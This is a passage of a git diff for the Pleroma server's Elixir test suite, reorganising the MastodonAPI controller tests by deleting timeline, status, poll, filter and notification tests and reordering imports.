status_test1["id"] + assert to_string(activity_none.id) == status_none["id"] + + restricted_test = + get(conn, "/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]}) + + assert [status_test1] == json_response(restricted_test, :ok) + + all_test = get(conn, "/api/v1/timelines/tag/test", %{"all" => ["none"]}) + + assert [status_none] == json_response(all_test, :ok) + end + end +end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index fb04748bb..feeaf079b 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -6,28 +6,21 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do use Pleroma.Web.ConnCase alias Ecto.Changeset - alias Pleroma.Activity - alias Pleroma.ActivityExpiration alias Pleroma.Config alias Pleroma.Notification alias Pleroma.Object alias Pleroma.Repo - alias Pleroma.ScheduledActivity alias Pleroma.Tests.ObanHelpers alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.FilterView alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.OStatus alias Pleroma.Web.Push - import Pleroma.Factory - import ExUnit.CaptureLog - import Tesla.Mock - import Swoosh.TestAssertions - @image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7" + import ExUnit.CaptureLog + import Pleroma.Factory + import Swoosh.TestAssertions + import Tesla.Mock setup do mock(fn env -> apply(HttpRequestMock, :request, [env]) end) @@ -37,561 +30,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do clear_config([:instance, :public]) clear_config([:rich_media, :enabled]) - test "the home timeline", %{conn: conn} do - user = insert(:user) - following = insert(:user) - - {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/timelines/home") - - assert Enum.empty?(json_response(conn, 200)) - - {:ok, user} = User.follow(user, following) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/v1/timelines/home") - - assert [%{"content" => "test"}] = json_response(conn, 200) - end - - test "the public timeline", %{conn: conn} do - following = insert(:user) - - capture_log(fn -> - {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) - - {:ok, [_activity]} = - OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") - - conn = - conn - |> get("/api/v1/timelines/public", %{"local" => "False"}) - - assert length(json_response(conn, 200)) == 2 - - conn = - build_conn() - |> get("/api/v1/timelines/public", %{"local" => "True"}) - - assert [%{"content" => "test"}] = json_response(conn, 200) - - conn = - build_conn() - |> get("/api/v1/timelines/public", %{"local" => "1"}) - - assert [%{"content" => "test"}] = json_response(conn, 200) - end) - end - - test "the public timeline when public is set to false", %{conn: conn} do - Config.put([:instance, :public], false) - - assert conn - |> get("/api/v1/timelines/public", %{"local" => "False"}) - |> json_response(403) == %{"error" => "This resource requires authentication."} - end - - describe "posting statuses" do - setup do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - - [conn: conn] - end - - test "posting a status", %{conn: conn} do - idempotency_key = "Pikachu rocks!" - - conn_one = - conn - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "false" - }) - - {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) - # Six hours - assert ttl > :timer.seconds(6 * 60 * 60 - 1) - - assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = - json_response(conn_one, 200) - - assert Activity.get_by_id(id) - - conn_two = - conn - |> put_req_header("idempotency-key", idempotency_key) - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "false" - }) - - assert %{"id" => second_id} = json_response(conn_two, 200) - assert id == second_id - - conn_three = - conn - |> post("/api/v1/statuses", %{ - "status" => "cofe", - "spoiler_text" => "2hu", - "sensitive" => "false" - }) - - assert %{"id" => third_id} = json_response(conn_three, 200) - refute id == third_id - - # An activity that will expire: - # 2 hours - expires_in = 120 * 60 - - conn_four = - conn - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - - assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200) - assert activity = Activity.get_by_id(fourth_id) - assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) - - estimated_expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(expires_in) - |> NaiveDateTime.truncate(:second) - - # This assert will fail if the test takes longer than a minute. I sure hope it never does: - assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 - - assert fourth_response["pleroma"]["expires_at"] == - NaiveDateTime.to_iso8601(expiration.scheduled_at) - end - - test "replying to a status", %{conn: conn} do - user = insert(:user) - {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"}) - - conn = - conn - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response(conn, 200) - - activity = Activity.get_by_id(id) - - assert activity.data["context"] == replied_to.data["context"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - end - - test "replying to a direct message with visibility other than direct", %{conn: conn} do - user = insert(:user) - {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"}) - - Enum.each(["public", "private", "unlisted"], fn visibility -> - conn = - conn - |> post("/api/v1/statuses", %{ - "status" => "@#{user.nickname} hey", - "in_reply_to_id" => replied_to.id, - "visibility" => visibility - }) - - assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"} - end) - end - - test "posting a status with an invalid in_reply_to_id", %{conn: conn} do - conn = - conn - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) - - assert %{"content" => "xD", "id" => id} = json_response(conn, 200) - assert Activity.get_by_id(id) - end - - test "posting a sensitive status", %{conn: conn} do - conn = - conn - |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) - - assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200) - assert Activity.get_by_id(id) - end - - test "posting a fake status", %{conn: conn} do - real_conn = - conn - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" - }) - - real_status = json_response(real_conn, 200) - - assert real_status - assert Object.get_by_ap_id(real_status["uri"]) - - real_status = - real_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - fake_conn = - conn - |> post("/api/v1/statuses", %{ - "status" => - "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", - "preview" => true - }) - - fake_status = json_response(fake_conn, 200) - - assert fake_status - refute Object.get_by_ap_id(fake_status["uri"]) - - fake_status = - fake_status - |> Map.put("id", nil) - |> Map.put("url", nil) - |> Map.put("uri", nil) - |> Map.put("created_at", nil) - |> Kernel.put_in(["pleroma", "conversation_id"], nil) - - assert real_status == fake_status - end - - test "posting a status with OGP link preview", %{conn: conn} do - Config.put([:rich_media, :enabled], true) - - conn = - conn - |> post("/api/v1/statuses", %{ - "status" => "https://example.com/ogp" - }) - - assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200) - assert Activity.get_by_id(id) - end - - test "posting a direct status", %{conn: conn} do - user2 = insert(:user) - content = "direct cofe @#{user2.nickname}" - - conn = - conn - |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) - - assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200) - assert activity = Activity.get_by_id(id) - assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] - assert activity.data["to"] == [user2.ap_id] - assert activity.data["cc"] == [] - end - end - - describe "posting polls" do - test "posting a poll", %{conn: conn} do - user = insert(:user) - time = NaiveDateTime.utc_now() - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "Who is the #bestgrill?", - "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420} - }) - - response = json_response(conn, 200) - - assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> - title in ["Rei", "Asuka", "Misato"] - end) - - assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 - refute response["poll"]["expred"] - end - - test "option limit is enforced", %{conn: conn} do - user = insert(:user) - limit = Config.get([:instance, :poll_limits, :max_options]) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "desu~", - "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} - }) - - %{"error" => error} = json_response(conn, 422) - assert error == "Poll can't contain more than #{limit} options" - end - - test "option character limit is enforced", %{conn: conn} do - user = insert(:user) - limit = Config.get([:instance, :poll_limits, :max_option_chars]) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "...", - "poll" => %{ - "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], - "expires_in" => 1 - } - }) - - %{"error" => error} = json_response(conn, 422) - assert error == "Poll options cannot be longer than #{limit} characters each" - end - - test "minimal date limit is enforced", %{conn: conn} do - user = insert(:user) - limit = Config.get([:instance, :poll_limits, :min_expiration]) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit - 1 - } - }) - - %{"error" => error} = json_response(conn, 422) - assert error == "Expiration date is too soon" - end - - test "maximum date limit is enforced", %{conn: conn} do - user = insert(:user) - limit = Config.get([:instance, :poll_limits, :max_expiration]) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "imagine arbitrary limits", - "poll" => %{ - "options" => ["this post was made by pleroma gang"], - "expires_in" => limit + 1 - } - }) - - %{"error" => error} = json_response(conn, 422) - assert error == "Expiration date is too far in the future" - end - end - - test "direct timeline", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, direct} = - CommonAPI.post(user_one, %{ - "status" => "Hi @#{user_two.nickname}!", - "visibility" => "direct" - }) - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - "status" => "Hi @#{user_two.nickname}!", - "visibility" => "private" - }) - - # Only direct should be visible here - res_conn = - conn - |> assign(:user, user_two) - |> get("api/v1/timelines/direct") - - [status] = json_response(res_conn, 200) - - assert %{"visibility" => "direct"} = status - assert status["url"] != direct.data["id"] - - # User should be able to see their own direct message - res_conn = - build_conn() - |> assign(:user, user_one) - |> get("api/v1/timelines/direct") - - [status] = json_response(res_conn, 200) - - assert %{"visibility" => "direct"} = status - - # Both should be visible here - res_conn = - conn - |> assign(:user, user_two) - |> get("api/v1/timelines/home") - - [_s1, _s2] = json_response(res_conn, 200) - - # Test pagination - Enum.each(1..20, fn _ -> - {:ok, _} = - CommonAPI.post(user_one, %{ - "status" => "Hi @#{user_two.nickname}!", - "visibility" => "direct" - }) - end) - - res_conn = - conn - |> assign(:user, user_two) - |> get("api/v1/timelines/direct") - - statuses = json_response(res_conn, 200) - assert length(statuses) == 20 - - res_conn = - conn - |> assign(:user, user_two) - |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]}) - - [status] = json_response(res_conn, 200) - - assert status["url"] != direct.data["id"] - end - - test "Conversations", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, direct} = - CommonAPI.post(user_one, %{ - "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!", - "visibility" => "direct" - }) - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - "status" => "Hi @#{user_two.nickname}!", - "visibility" => "private" - }) - - res_conn = - conn - |> assign(:user, user_one) - |> get("/api/v1/conversations") - - assert response = json_response(res_conn, 200) - - assert [ - %{ - "id" => res_id, - "accounts" => res_accounts, - "last_status" => res_last_status, - "unread" => unread - } - ] = response - - account_ids = Enum.map(res_accounts, & &1["id"]) - assert length(res_accounts) == 2 - assert user_two.id in account_ids - assert user_three.id in account_ids - assert is_binary(res_id) - assert unread == true - assert res_last_status["id"] == direct.id - - # Apparently undocumented API endpoint - res_conn = - conn - |> assign(:user, user_one) - |> post("/api/v1/conversations/#{res_id}/read") - - assert response = json_response(res_conn, 200) - assert length(response["accounts"]) == 2 - assert response["last_status"]["id"] == direct.id - assert response["unread"] == false - - # (vanilla) Mastodon frontend behaviour - res_conn = - conn - |> assign(:user, user_one) - |> get("/api/v1/statuses/#{res_last_status["id"]}/context") - - assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) - end - - test "doesn't include DMs from blocked users", %{conn: conn} do - blocker = insert(:user) - blocked = insert(:user) - user = insert(:user) - {:ok, blocker} = User.block(blocker, blocked) - - {:ok, _blocked_direct} = - CommonAPI.post(blocked, %{ - "status" => "Hi @#{blocker.nickname}!", - "visibility" => "direct" - }) - - {:ok, direct} = - CommonAPI.post(user, %{ - "status" => "Hi @#{blocker.nickname}!", - "visibility" => "direct" - }) - - res_conn = - conn - |> assign(:user, user) - |> get("api/v1/timelines/direct") - - [status] = json_response(res_conn, 200) - assert status["id"] == direct.id - end - - test "verify_credentials", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/verify_credentials") - - response = json_response(conn, 200) - - assert %{"id" => id, "source" => %{"privacy" => "public"}} = response - assert response["pleroma"]["chat_token"] - assert id == to_string(user.id) - end - - test "verify_credentials default scope unlisted", %{conn: conn} do - user = insert(:user, %{info: %User.Info{default_scope: "unlisted"}}) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200) - assert id == to_string(user.id) - end - test "apps/verify_credentials", %{conn: conn} do token = insert(:oauth_token) @@ -612,101 +50,6 @@ test "apps/verify_credentials", %{conn: conn} do assert expected == json_response(conn, 200) end - test "user avatar can be set", %{conn: conn} do - user = insert(:user) - avatar_image = File.read!("test/fixtures/avatar_data_uri") - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: avatar_image}) - - user = refresh_record(user) - - assert %{ - "name" => _, - "type" => _, - "url" => [ - %{ - "href" => _, - "mediaType" => _, - "type" => _ - } - ] - } = user.avatar - - assert %{"url" => _} = json_response(conn, 200) - end - - test "user avatar can be reset", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_avatar", %{img: ""}) - - user = User.get_cached_by_id(user.id) - - assert user.avatar == nil - - assert %{"url" => nil} = json_response(conn, 200) - end - - test "can set profile banner", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => @image}) - - user = refresh_record(user) - assert user.info.banner["type"] == "Image" - - assert %{"url" => _} = json_response(conn, 200) - end - - test "can reset profile banner", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_banner", %{"banner" => ""}) - - user = refresh_record(user) - assert user.info.banner == %{} - - assert %{"url" => nil} = json_response(conn, 200) - end - - test "background image can be set", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => @image}) - - user = refresh_record(user) - assert user.info.background["type"] == "Image" - assert %{"url" => _} = json_response(conn, 200) - end - - test "background image can be reset", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> patch("/api/v1/pleroma/accounts/update_background", %{"img" => ""}) - - user = refresh_record(user) - assert user.info.background == %{} - assert %{"url" => nil} = json_response(conn, 200) - end - test "creates an oauth app", %{conn: conn} do user = insert(:user) app_attrs = build(:oauth_app) @@ -734,836 +77,6 @@ test "creates an oauth app", %{conn: conn} do assert expected == json_response(conn, 200) end - test "get a status", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> get("/api/v1/statuses/#{activity.id}") - - assert %{"id" => id} = json_response(conn, 200) - assert id == to_string(activity.id) - end - - test "get statuses by IDs", %{conn: conn} do - %{id: id1} = insert(:note_activity) - %{id: id2} = insert(:note_activity) - - query_string = "ids[]=#{id1}&ids[]=#{id2}" - conn = get(conn, "/api/v1/statuses/?#{query_string}") - - assert [%{"id" => ^id1}, %{"id" => ^id2}] = Enum.sort_by(json_response(conn, :ok), & &1["id"]) - end - - describe "deleting a status" do - test "when you created it", %{conn: conn} do - activity = insert(:note_activity) - author = User.get_cached_by_ap_id(activity.data["actor"]) - - conn = - conn - |> assign(:user, author) - |> delete("/api/v1/statuses/#{activity.id}") - - assert %{} = json_response(conn, 200) - - refute Activity.get_by_id(activity.id) - end - - test "when you didn't create it", %{conn: conn} do - activity = insert(:note_activity) - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> delete("/api/v1/statuses/#{activity.id}") - - assert %{"error" => _} = json_response(conn, 403) - - assert Activity.get_by_id(activity.id) == activity - end - - test "when you're an admin or moderator", %{conn: conn} do - activity1 = insert(:note_activity) - activity2 = insert(:note_activity) - admin = insert(:user, info: %{is_admin: true}) - moderator = insert(:user, info: %{is_moderator: true}) - - res_conn = - conn - |> assign(:user, admin) - |> delete("/api/v1/statuses/#{activity1.id}") - - assert %{} = json_response(res_conn, 200) - - res_conn = - conn - |> assign(:user, moderator) - |> delete("/api/v1/statuses/#{activity2.id}") - - assert %{} = json_response(res_conn, 200) - - refute Activity.get_by_id(activity1.id) - refute Activity.get_by_id(activity2.id) - end - end - - describe "filters" do - test "creating a filter", %{conn: conn} do - user = insert(:user) - - filter = %Pleroma.Filter{ - phrase: "knights", - context: ["home"] - } - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) - - assert response = json_response(conn, 200) - assert response["phrase"] == filter.phrase - assert response["context"] == filter.context - assert response["irreversible"] == false - assert response["id"] != nil - assert response["id"] != "" - end - - test "fetching a list of filters", %{conn: conn} do - user = insert(:user) - - query_one = %Pleroma.Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - query_two = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "who", - context: ["home"] - } - - {:ok, filter_one} = Pleroma.Filter.create(query_one) - {:ok, filter_two} = Pleroma.Filter.create(query_two) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/filters") - |> json_response(200) - - assert response == - render_json( - FilterView, - "filters.json", - filters: [filter_two, filter_one] - ) - end - - test "get a filter", %{conn: conn} do - user = insert(:user) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"] - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/filters/#{filter.filter_id}") - - assert _response = json_response(conn, 200) - end - - test "update a filter", %{conn: conn} do - user = insert(:user) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"] - } - - {:ok, _filter} = Pleroma.Filter.create(query) - - new = %Pleroma.Filter{ - phrase: "nii", - context: ["home"] - } - - conn = - conn - |> assign(:user, user) - |> put("/api/v1/filters/#{query.filter_id}", %{ - phrase: new.phrase, - context: new.context - }) - - assert response = json_response(conn, 200) - assert response["phrase"] == new.phrase - assert response["context"] == new.context - end - - test "delete a filter", %{conn: conn} do - user = insert(:user) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"] - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = - conn - |> assign(:user, user) - |> delete("/api/v1/filters/#{filter.filter_id}") - - assert response = json_response(conn, 200) - assert response == %{} - end - end - - describe "list timelines" do - test "list timeline", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."}) - {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response(conn, 200) - - assert id == to_string(activity_two.id) - end - - test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) - - {:ok, _activity_two} = - CommonAPI.post(other_user, %{ - "status" => "Marisa is cute.", - "visibility" => "private" - }) - - {:ok, list} = Pleroma.List.create("name", user) - {:ok, list} = Pleroma.List.follow(list, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/timelines/list/#{list.id}") - - assert [%{"id" => id}] = json_response(conn, 200) - - assert id == to_string(activity_one.id) - end - end - - describe "notifications" do - test "list of notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - - expected_response = - "hi @#{user.nickname}" - - assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) - assert response == expected_response - end - - test "getting a single notification", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications/#{notification.id}") - - expected_response = - "hi @#{user.nickname}" - - assert %{"status" => %{"content" => response}} = json_response(conn, 200) - assert response == expected_response - end - - test "dismissing a single notification", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) - - assert %{} = json_response(conn, 200) - end - - test "clearing all notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/clear") - - assert %{} = json_response(conn, 200) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/v1/notifications") - - assert all = json_response(conn, 200) - assert all == [] - end - - test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() - notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() - notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() - notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - # min_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - - # since_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - # max_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - end - - test "filters notifications using exclude_types", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) - {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) - {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = - Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string() - - favorite_notification_id = - Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string() - - reblog_notification_id = - Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string() - - follow_notification_id = - Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) - - assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) - - assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) - - assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) - - assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) - end - - test "destroy multiple", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) - {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) - - notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() - notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() - notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() - notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - conn_res = - conn - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result - - conn2 = - conn - |> assign(:user, other_user) - - conn_res = - conn2 - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - conn_destroy = - conn - |> delete("/api/v1/notifications/destroy_multiple", %{ - "ids" => [notification1_id, notification2_id] - }) - - assert json_response(conn_destroy, 200) == %{} - - conn_res = - conn2 - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - end - - test "doesn't see notifications after muting user with notifications", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications") - - assert json_response(conn, 200) == [] - end - - test "see notifications after muting user without notifications", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2, false) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - end - - test "see notifications after muting user with notifications and with_muted parameter", %{ - conn: conn - } do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) - - assert length(json_response(conn, 200)) == 1 - end - end - - describe "reblogging" do - test "reblogs and returns the reblogged status", %{conn: conn} do - activity = insert(:note_activity) - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, - "reblogged" => true - } = json_response(conn, 200) - - assert 